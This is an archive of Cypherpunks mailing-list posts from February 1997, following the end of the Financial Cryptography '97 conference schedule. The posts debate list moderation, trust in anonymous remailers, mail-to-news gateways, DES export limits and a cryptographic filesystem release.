    Matthew K. Franklin, Dahlia Malkhi
        (AT&T Labs--Research, Murray Hill, NJ, USA)

1005 -- 1045
    Coffee Break

1045 -- 1120
    SVP: a Flexible Micropayment Scheme
    Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France)

1120 -- 1155
    An efficient micropayment system based on probabilistic polling
    Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA),
    Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA)

1155 -- 1230
    On the continuum between on-line and off-line e-cash systems - I
    Yacov Yacobi (Microsoft, Redmond, WA, USA)

1230 -- 1330
    Lunch


Thursday 27 February 1997

 800 --  830
    Breakfast

 830 --  905
    Towards Multiple-payment Schemes for Digital Money
    H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany)

 905 --  940
    Applying Anti-Trust Policies to Increase Trust in a Versatile
        E-Money System
    Markus Jakobsson (UCSD, La Jolla, CA, USA),
    Moti Yung (BTEC/CertCo, New York, NY, USA)

 940 -- 1015
    Cyberbanking and Privacy: The Contracts Model
    Peter P. Swire (Ohio State University, Columbus, OH, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Legal Issues in Cryptography
    Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA)

1120 -- 1230
    Panel Discussion
    Legal Issues of Digital Signatures
    Michael Froomkin (U. of Miami School of Law, Coral Gables, FL, USA),
    Charles Merrill (McCarter & English, Newark, NJ, USA),
    Benjamin Wright (Dallas, TX, USA)

1230 -- 1330
    Lunch

1930 -- 2015
    Invited Speaker
    Money Laundering: Yesterday, Today and Tomorrow
    Peter Wayner (Baltimore, MD, USA)

2015 -- 2200
    Rump Session


Friday 28 February 1997

 800 --  830
    Breakfast

 830 --  905
    The Strategic Role of Government in Electronic Commerce
    Paul Lampru (Verifone, Atlanta, GA, USA)

 905 --  940
    Using Markets to Achieve Efficient Task Distribution
    Ian Grigg, Christopher C. Petro (Systemics, Amsterdam, Netherlands)

 940 -- 1015
    The Gateway Security Model in the Java Electronic Commerce Framework
    Theodore Goldstein (Sun Microsystems Laboratories/Javasoft)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Highly Scalable On-line Payments Via Task Decoupling
    David William Kravitz (CertCo LLC, Albuquerque, NM, USA)

1120 -- 1155
    GUMP; Grand Unified Meta-Protocols
        Recipes for Simple, Standards-based Financial Cryptography
    Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA)

1155 -- 1230
    Secure Network Communications and Secure Store&Forward Mechanisms
        with SAP R/3
    Bernhard Esslinger (SAP AG, Walldorf, Germany)

1230 -- 1330
    Lunch


Updates of the conference schedule will be available at the URL
http://www.cwi.nl/conferences/FC97/.

The conference will run from 8:30 AM to 12:30 PM for five days,
February 24-28 1997.  Breakfast and lunch are provided at the
conference.  The conference organizers have left the afternoons and
evenings open for corporate sponsored events, for networking, and for
recreational activities on the resort island of Anguilla.
Participants are encouraged to bring their families.


Workshop:

A 40-hour workshop, intended for anyone with commercial software
development experience who wants hands-on familiarity with the issues
and technology of financial cryptography, is planned in conjunction
with FC97, to be held during the week preceding the conference.

For more information on the workshop, please see the URL
http://www.cs.berkeley.edu/~iang/fc97/workshop.html.

For workshop registration, see the URL
http://www.offshore.com.ai/fc97/.


Venue:

The InterIsland Hotel is a small 14-room guest house and a large,
comfortable 150 seat conference facility with additional space for a
small 10-booth exhibition.  The Inter-Island is on Road Bay, near
Sandy Ground Village, in the South Hill section of Anguilla.  The
conference, workshop, and exhibition will have TCP/IP internet access.
The rooms at the InterIsland itself have sold out, but there are many
other hotels and guest houses on Anguilla, and shuttle service to the
conference will be available.


Air Transportation and Hotels:

Air travel to Anguilla is typically done through either San Juan or
St. Thomas for US flights, or St. Maarten/Martin for flights from
Europe and the US.

Anguillan import duties are not imposed on hardware or software which
will leave the island again. There are no other taxes--or cryptography
import/export restrictions--on Anguilla.

Hotels range from spartan to luxurious, and more information about
hotels on Anguilla can be obtained from your travel agent, or at the
URL http://www.offshore.com.ai/fc97/.


General Chairs:

Robert Hettinga, Shipwright/e$, Boston, MA, USA;
rah@shipwright.com

Vincent Cate, Offshore Information Services, Anguilla, BWI;
vince@offshore.com.ai

Conference, Exhibits, and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA;
rackliffe@tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA;
iang@cs.berkeley.edu


Registration:

You can register and pay for conference admission via the World Wide
Web at the URL http://www.offshore.com.ai/fc97/.

The cost of the FC97 Conference is US$1,000.

Booths for the exhibition start at US$5,000 and include two conference
tickets. For more information about exhibit space, contact Julie
Rackliffe, rackliffe@tcm.org.  Sponsorship opportunities for FC97 are
still available.

The cost of the workshop is US$5000, and includes meals but not
lodging.  You can register for the workshop, which runs the week prior
to the conference, at the URL http://www.offshore.com.ai/fc97.


Financial Cryptography '97 is held in cooperation with the
International Association for Cryptologic Research.

It is sponsored by:

The Journal for Internet Banking and Commerce
    <http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 6 Feb 1997 19:41:07 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702070341.TAA07866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:27 PM 2/6/97 -0500, Robert Hettinga wrote:
>
>This attempted legislation (see forward, below) is a blessing in disguise.
>
>It's just more proof that book-entry commerce isn't going to work on the
>net in the long run.
[deleted]

>+  SET, Cybercash/coin, SSL, and other encrypted-channel book entry
>methods, is a derigeble. You're flying, but you're using minimally strong
>crypto like little aerodynamic fins to push the giant gas bag of book-entry
>settlement around.

Now, is that a helium or a HYDROGEN dirigible?!?

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 17:00:36 -0800 (PST)
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: FinCEN hates cybercash, who 'da thunk it...
Message-ID: <199702070100.RAA04399@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:47 pm -0500 2/6/97, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>>But Stanley Morris of the United States Treasury, who chaired a FAFT
>>working group which drafted the report, told a news conference that
>>law enforcement agencies would face 'very major new challenges' if new
>>technology moves the world "to a cashless society, beyond banks, cash
>>and borders."
>
>Oh No!  First they told us that they were all in favor of a cashless society
>because they could track all the transactions.  It was their Orwellian
>Dream.  Now Nirvana has almost arrived and they're afraid of it.  Can't
>they make up their minds?
>
>I noticed the problem long about 1975 when I noticed that the spread of
>ATM cards was actually the spread of a bearer instrument and would
>not satisfy the control needs of the regulatory types.

In a geodesic network, any node which tries to process all the traffic
chokes. The network then routes, to paraphrase Gilmore, around it. :-).

I remember this pravda chart at CFP a year ago, where FinCEN was
"demonstrating" (in a chart with no Y-axis) their "increased supervisory
load" due to the exponentiating use of point to point electronic
transaction settlement.

Be careful whatcha wish for fellas. An old Texas A&M Aggie joke about a
poor monkey trying to put the cork back into a pig's butt comes to mind...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 6 Feb 1997 12:42:58 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702062042.MAA29640@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.  Forty people
> cared enough to read every posting; the other thousand either wanted
> to try the experiment -- or didn't care enough to send an email
> message.  Which, as we all know, is a very low threshold.

As I, and a number of other list members, have said: Why did you not 
rename the lists so that cypherpunks@toad.com was uncensored???
You and I know perfectly well that probably 1250 of those addresses 
are people who don`t know the censorship is taking place, don`t read 
the list (defunct accounts), don`t know how to change their 
subscription, are too lazy to care either way etc... I would guess 
there are less than 100 that have considered the issues and decided 
to subscribe to the censored list.

> If I was a social scientist I might want to run the experiment both
> ways, or six different ways.  Name it this, or name it that.  I'm not;
> all I want is something that works.  The cypherpunks list was unusable
> for this kind of discussion, only a month ago.  It's usable now.

No, it was usable to those with time and patience or the rather 
rudimentary knowledge necessary to set up filters. Now all we are 
doing is relegating a list that was once subscribed to by intelligent 
and well educated people into a playground for the inept. I`m not 
being elitist but if we can`t expect a member of this list who 
actually uses it for discussion to know how to set up filters then he 
might as well unsubscribe.
 

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.  "Asking the list what to do" was clearly not a useful
> option.  Sandy cared enough about the community to make some concrete
> suggestions to me about how to get the list back on track.  They
> involved a lot more work than the previous setup.  I told him if he
> was willing to do the work, we could try it.  As Dale suggests, I
> wasn't about to waste my time reading the whole list in real time and
> passing judgement on the postings.  Sandy was, for a month.

You should indeed have shut down the list. The problem being not that 
you choose to run a censored list but that you have associated the 
name cypherpunks with it and in doing so you have destroyed the 
reputation that the name cypherpunks once had.

> Unpaid labor for a peanut gallery of spoiled children isn't very
> gratifying.

Paternalism is the root of all statism.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 6 Feb 1997 19:41:19 -0800 (PST)
To: Charley Musselman <cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702070341.TAA07916@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:19 PM 2/6/97 +0000, Charley Musselman wrote:
>C'punks --
>	When I told a friend about the alt.drugs.pot cultivation newsgroup
>and suggested that he use an anonymous remailer to post to the group,
>he laughed and said, "Who do you suppose runs the remailers?  ATF,
>FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>anyone know the answer?  Specifically, how can we choose a trusted
>remailer?

There is no such thing as a trusted remailer, unless you know and trust the
remailer operator. That's why one should use remailer chains. If only one
remailer in the chain is run by a non-TLA operator, you are safe.

Just for the record, I know numerous remailer operators. I am convinced
that neither of them works for any TLA in any way. YMMV.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Thu, 6 Feb 1997 17:11:17 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702070111.RAA04676@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


lcs Remailer Administrator wrote:
> 
> Because of recent attacks on the remailer network and mail2news
> gateways, I may loose access to at least one of the news servers I
> currently feed news to from my mail2news gateway.
> 
> If you are a news administrator, believe in free speech and anonymity,
> and you would like to help the cause, please consider giving transfer
> (aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
> not be the only server, and so do not need to worry about being the
> point of entrance of mail2news articles to Usenet.
> 
> Please contact me if you can help.  Thank you.
> 
> For those who oppose the existence of mail2news gateways, you should
> know that we are taking steps to limit the abuse.  However, doing so
> without in any way limiting articles that abide by the usage policy is
> tricky, and must be done carefully.  Please be patient.


  I'm writing from the Freedom Knights list but am in no way
representing them.
  
  What exactly do you mean by 'taking steps to limit the abuse'?  
Personally I think much of what is called abuse is nonsense and
that all posts, with the exception of cancels/NoCems should be
propogated regardless of content (including what is currently
referred to as spam).

  Also--could you forward to the Freedom Knights list a copy of
your 'usage policy' and impressions on the Freedom Knights two
FAQs.

  Thanks,

  Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 6 Feb 1997 20:41:09 -0800 (PST)
To: lcs Remailer Administrator <mail2news@anon.lcs.mit.edu
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702070441.UAA09113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I would be happy to provide access to news.cyberpass.net (its good to be
the King). Just let me know the machine name and IP.

	-Lance

At 2:17 PM -0800 2/6/97, lcs Remailer Administrator wrote:
>Because of recent attacks on the remailer network and mail2news
>gateways, I may loose access to at least one of the news servers I
>currently feed news to from my mail2news gateway.
>
>If you are a news administrator, believe in free speech and anonymity,
>and you would like to help the cause, please consider giving transfer
>(aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
>not be the only server, and so do not need to worry about being the
>point of entrance of mail2news articles to Usenet.
>
>Please contact me if you can help.  Thank you.
>
>For those who oppose the existence of mail2news gateways, you should
>know that we are taking steps to limit the abuse.  However, doing so
>without in any way limiting articles that abide by the usage policy is
>tricky, and must be done carefully.  Please be patient.


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zinc <zinc@zifi.genetics.utah.edu>
Date: Thu, 6 Feb 1997 19:41:20 -0800 (PST)
To: cryptography@c2.net
Subject: lead remailer is shut down
Message-ID: <199702070341.TAA07917@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a courtesy copy of an article
that has been posted as well.

-----BEGIN PGP SIGNED MESSAGE-----

hi,

i came in today to find they (university system admins) had pulled the
plug on my machine.  this is all because some luser spammed usenet
using the remailer on my machine.  thanks a lot.

so, the lead remailer is gone for good; it lasted almost exactly one
year. 

it was nice while it lasted.

- -patrick finerty
biochem grad student, u of utah

- -- 
"Those that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety." -- Benjamin Franklin (1773)
		   finger zinc-pgp@zifi for PGP key
zifi runs LINUX 2.0.28  -=-=-=WEB=-=-=->  http://zifi.genetics.utah.edu

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L
6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE
4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt
clfXhusEPPg=
=0fse
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 6 Feb 1997 20:41:11 -0800 (PST)
To: Bill Stewart <svmcguir@syr.edu>
Subject: Re: mail-to-news fun
Message-ID: <199702070441.UAA09115@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It would be a trivial hack for Mixmaster. It allways knows if a message if
going to another remailer, or if this is the last hop, so it can add the
disclaimer only on the last hop.

	-Lance

At 4:06 PM -0800 2/6/97, Bill Stewart wrote:
>At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote:
>>On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
>>> People don't read mail headers or disclaimers at the bottom,
>>> and putting disclaimers like that into message text for
>>> email exposes the message to traffic analysis.)
>
>>How does putting it in the message expose it to traffic analysis but not
>>putting it in a header?
>
>Suppose you're sending a message on a remailer chain of
>you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target
>and Bob puts lots of disclaimers in his remailer's outgoing messages.
>Anything Bob puts in a header will get stripped out by Charlie,
>so it's no problem.  However, if Bob tacks a disclaimer
>as the bottom text in the outgoing message, when Eve sends
>mail to Fred she'll also see the disclaimer that
>	The message was sent by an anonymous user
>	through the remailer at Bob's Remailer Shack.
>	Bob doesn't know who sent it, and doesn't keep records,
>	so he can't squash the user, but he can block mail to you
>	if you don't want any more anonymous email.
>	Don't believe everything you read!
>so she'll know to check the FBI Illegal Wiretap files for Bob.
>
>Some comments and backtracking
>0) Of course, if you want to avoid traffic analysis,
>sending unencrypted email is pretty stupid, and only the
>next hop is going to see a disclaimer that you append
>after the encrypted part of the message.
>
>1) Prepending the disclaimer to the message body is
>pretty unfriendly to the :: syntax, and not all that
>great for PGP encrypted messages either.  Pretend I
>really just suggested appending it at the end,
>since that's what I would have said if I'd been thinking :-)
>
>On the other hand, I suppose that you can see whether the
>next hop is a Type I remailer by looking for the :: or ##.
>
>2) Cutmarks would be a nice fix, but they require too much
>attention to detail to get right, in case the next hop
>is a remailer.
>
>So maybe you _should_ always put in the disclaimer,
>at the end, with a reminder to always encrypt your
>remailer-chain mail if you want to avoid traffic analysis :-)
>
>
>
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Feb 1997 12:42:45 -0800 (PST)
To: mark@infolawalert.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702062042.MAA29621@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark <mark@infolawalert.com> writes:
> I'm almost certain that Murray is a consultant rather than
> or in addition to an accountant. He's been saying these things

William Murray used to post frequently to sci.crypt, alt.security.pgp,
etc when I read those forums.  He also I think wrote the forword for
one of the books on using PGP.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Fri, 7 Feb 1997 20:25:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Enlightened commentary on Netizen.
Message-ID: <199702080425.UAA08800@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


First, Rebecca Vesely has a special report, the main thrust
of which is that three firms being allowed to export 56 bit
encryption indicates flexibility on the part of the
government.

http://www.netizen.com/netizen/97/05/special2a.html

To top it off, here are two gems from the followup discussion.

http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387

2. 56 ONLY A SLIGHTLY SMALLER JOKE
    Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST

    If it takes a college student four hours to break
    a 40bit code it should take him/her about six 
    hours to do the same to 56bits. Then what excuses 
    are the government and its butt-kissing companies 
    going to give us for not allowing *real* coding?

4. 56bits will not take 6 hours to crack
    Piers Cawley (pdcawley) on Thu, 6 Feb 97 05:05 PST

    Rick seems to be missing the point about strong encryption -- the reason that DES/IDEA encryption
    is hard to crack is because the key system is based on the fact that factoring big numbers is a long,
    slow tedious process which gets exponentially harder as the length of the number increases. What this
    means is that it'll probably take the college student, ooh... 24 hours to crack a 56 bit key.

    However, the question has to be asked, why the fuck should we non US citizens go and buy
    cryptographic software that is deliberately coded to allow the US government to read our mail? 

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 6 Feb 1997 19:41:27 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: Transparent Cryptographic File System (fwd)
Message-ID: <199702070341.TAA07928@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Haven't seen this on cpunks.

----- Forwarded message from Kenneth Stailey -----

>From xtech-request@zephyr.ccrc.wustl.edu  Thu Feb  6 18:26:49 1997
Date: Thu, 6 Feb 1997 16:47:28 -0500 (EST)
Message-Id: <199702062147.QAA29127@duality.gnu.ai.mit.edu>
From: Kenneth Stailey <kstailey@gnu.ai.mit.edu>
To: tech@openbsd.org
Subject: Transparent Cryptographic File System
Sender: owner-tech@openbsd.org
Precedence: bulk

Hi,

I thought that there might be some interest in looking at this:

From: ermmau@ios.diaedu.unisa.it (Ermelindo Mauriello)
Subject: New release of TCFS (Transparent Cryptographic File System)
Newsgroups: comp.os.linux.announce
Date: Thu, 16 Jan 1997 07:14:53 GMT
Followup-To: comp.os.linux.development.system
Organization: Universita' di SALERNO - Dip. Informatica ed Appl.
Path: ai-lab!bloom-beacon.mit.edu!howland.erols.net!newsfeed.internetmci.com!zeke.ebtech.net!loki.tor.hookup.net!omega.metrics.com!liw.clinet.fi!not-for-mail
Lines: 51
Approved: linux-announce@news.ornl.gov (Lars Wirzenius)
Message-ID: <pgpmoose.199701160914.15063@liw.clinet.fi>
NNTP-Posting-Host: localhost
X-Server-Date: 16 Jan 1997 07:15:02 GMT
X-Original-Date: 15 Jan 1997 14:51:36 GMT
X-Auth: PGPMoose V1.1 PGP comp.os.linux.announce
	iQBVAwUBMt3VcjiesvPHtqnBAQECXwH+PKb4gmvn2sSqa3caegRau0cHJ9Lx9hII
	YG0YmSbwPf+oFV4ie4omldPpTO3VjGXSkY11zIof6b3HzY3dNzajyQ==
	=aNko

-- Start of PGP signed section.
We are glad to announce that a new release of TCFS
(Transparent Cryptographic File System) for Linux
is now available.

TCFS is a cryptographic filesystem developed at the Universita' di
Salerno (Italy). It operates like NFS but allows users to use a new
flag X to make the files secure (encrypted).
In theis release files are encrypted using DES.

The new release works in Linux kernel space, and may be linked as
a module to Linux 2.0.x kernels.

A mailing-list is available at tcfs-list@mikonos.dia.unisa.it.
Documentation is available at http://mikonos.dia.unisa.it/tcfs.
Here you can find instructions for installing TCFS and docs on
how it works.

Mirror sites are available at http://www.globenet.it/~ermmau/tcfs and
http://www.inopera.it/~ermmau/tcfs

                              \|||/
                              (o o)
     ----------------------ooO--O--Ooo-------------------------------
     ! ////////  //// ////  Ermelindo Mauriello                     !
     ! //        // /// //  e-mail: ermmau@edu-gw.dia.unisa.it      !
     ! /////     //  /  //          ermmau@pantelleria.dia.unisa.it !
     ! //        //     //          ermmau@globenet.it              !
     ! ///////   //     //          ermmau@inopera.it               !
     !--------------------------------------------------------------!
     !          LINUX - The choice of a GNU generation !!!          !
     ----------------------------------------------------------------
-- End of PGP signed section.

----- End of forwarded message from Kenneth Stailey -----

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 20:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702070440.UAA09083@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

>
> Mark <mark@infolawalert.com> writes:
> > I'm almost certain that Murray is a consultant rather than
> > or in addition to an accountant. He's been saying these things
>
> William Murray used to post frequently to sci.crypt, alt.security.pgp,
> etc when I read those forums.  He also I think wrote the forword for
> one of the books on using PGP.

One of my first flame wars on Internet, some 15 years ago, was with
William H. Murray over my criticism of DES.  How time flies. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Feb 1997 22:55:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: My messages not appearing on either of the lists?
Message-ID: <199702070655.WAA12884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

My posting seem to be going into Limbo, being sent neither to the
Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks
Hell. At least this is how things now appear.

I sent the message below to the list this morning (Thursday) at 8:43 a.m.
PST. As of tonight, 12 hours later, I haven't seen it on either the
Singapore Web site--last archived 30 minutes ago--or on the "Flames" list
to which I have temporarily subscribed (to see what Sandy counts as a
"flame").

Has anyone else seen it? I've looked, but there's always a chance I somehow
spaced out and missed it. (I doubt it though.) If I have missed it, despite
carefully scanning for it for the past 8-12 hours, my apologies. If it has
not appeared on either the Censored list or the Flames list, then something
is rotten in the state of Denmark.

By the way, I noted that many of the messages which appeared at the
Singapore Web archive site have dates much later than mine, including
several dated at least 8-10 hours after my message. Likewise, some of the
Flames messages are dated much later than my message.

(Bill Stewart got a message through dated Thu, 06 Feb 1997 16:06:06 -0800,
Mark Henderson got one through at Thu, 6 Feb 1997 15:56:19 PST, and so on.
One would thus have thought that my message, dated Thu, 6 Feb 1997 08:43:35
-0800, would by now either have been approved and hence on the Censored
list, or rejected as unfit for Cypherpunks to sully their neurons with, and
hence passed on to the Flames list. By the way, some of the "Flames"
messages are also dated late afternoon or evening.)

So, is my message just sitting around someplace, awaiting some final
decision? What's the basis of this decision? (Perhaps Sandy has "kicked it
upstairs" to John for him to decide on? Just a hypothesis....)

I will repeat my message below. As you will be able to see, my message
contains no "flames" of its own, and the messages it quotes do not seem
flamish to me, either.

(It is true that Vulis uses the phrase "Limey faggots," in reference to
beer-serving habits, but he does not directly insult any list members with
this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
be blocked from their usual characterizations of Congresscritters and NSA
stooges.)


I think a delay of greater than 11 hours in being distributed on one of the
two lists (even if my message is sent out in the next hour or so) is
unacceptable. If a moderator cannot get to traffic in the order in which it
was received and disposition it promptly, he or she has no business being a
moderator of a high-volume list. (Eric Blossom's and Ray Arachelian's "best
of" compilations are a different matter, for reasons discussed many times
here.)

So, why hasn't this message appeared on one of the two lists?

--Tim May



>Date: Thu, 6 Feb 1997 08:43:35 -0800
>To: cypherpunks@toad.com
>From: "Timothy C. May" <tcmay@got.net>
>Subject: Re: Moderation [Tim,Sandy]
>Cc:
>Bcc:
>X-Attachments:
>
>
>I decided to subscribe only to the "cypherpunks flames" list, just to see
>what was being filtered into it.
>
>The message below is one example of what is going there. I received it,
>and the header includes the line: "Sender:
>owner-cypherpunks-unedited@toad.com", so I am surmising that it was indeed
>filtered into the flames list.
>
>Now, admittedly, the _content_ of this kind of post is "off-topic," but I
>sure don't see any evidence of _flames_.
>
>Is Sandy now filtering based on his notions of list relevance, and not
>just on the basis of insults, jabs, flames, and "lack of comity"? While
>lack of relevance may be a criterion for someone to filter by, it doesn't
>square with anything I recall Sandy citing, and it introduces a new and
>dimension to the debate.
>
>--Tim May
>
>(The entire post is included, to ensure that no one claims I am editing
>out any flames, insults, etc.)
>
>
>At 11:06 PM -0800 2/5/97, Dale Thorn wrote:
>>Dr.Dimitri Vulis KOTM wrote:
>>> Dale Thorn <dthorn@gte.net> writes:
>>
>>> > > > The drunk can be excluded, but when someone wants to use the drunk as
>>> > > > an example to escalate the exclusion to other persons who are not in
>>> > > > fact drunk, watch out!
>>
>>> > > If I get really really drunk, which happens very seldom, then I'm
>>> > > too drunk to post. I don't mind an occasional beer, though.
>>
>>> > > Oksas, have you ever tried beer? :-)
>>
>>> > I had my first beer(s) in three years at one of those industrial
>>> > parties last night.  It made the craps table action seem a bit
>>> > merrier, and the girls were friendlier too.
>>
>>> I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
>>> one think: I like room-temperature beer better than cold beer. YMMV.
>>
>>Interesting coincidence for people on opposite coasts - the bar at
>>the hotel had two choices:  Bud regular and Coors light.  I took the
>>Coors.
>
>
>
>
>

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charley Musselman <c.musselman@internetmci.com>
Date: Thu, 6 Feb 1997 15:01:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymous remailers
Message-ID: <199702062301.PAA02208@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


C'punks --
	When I told a friend about the alt.drugs.pot cultivation newsgroup
and suggested that he use an anonymous remailer to post to the group,
he laughed and said, "Who do you suppose runs the remailers?  ATF,
FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
anyone know the answer?  Specifically, how can we choose a trusted
remailer?
Cheers (?),  Charley





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
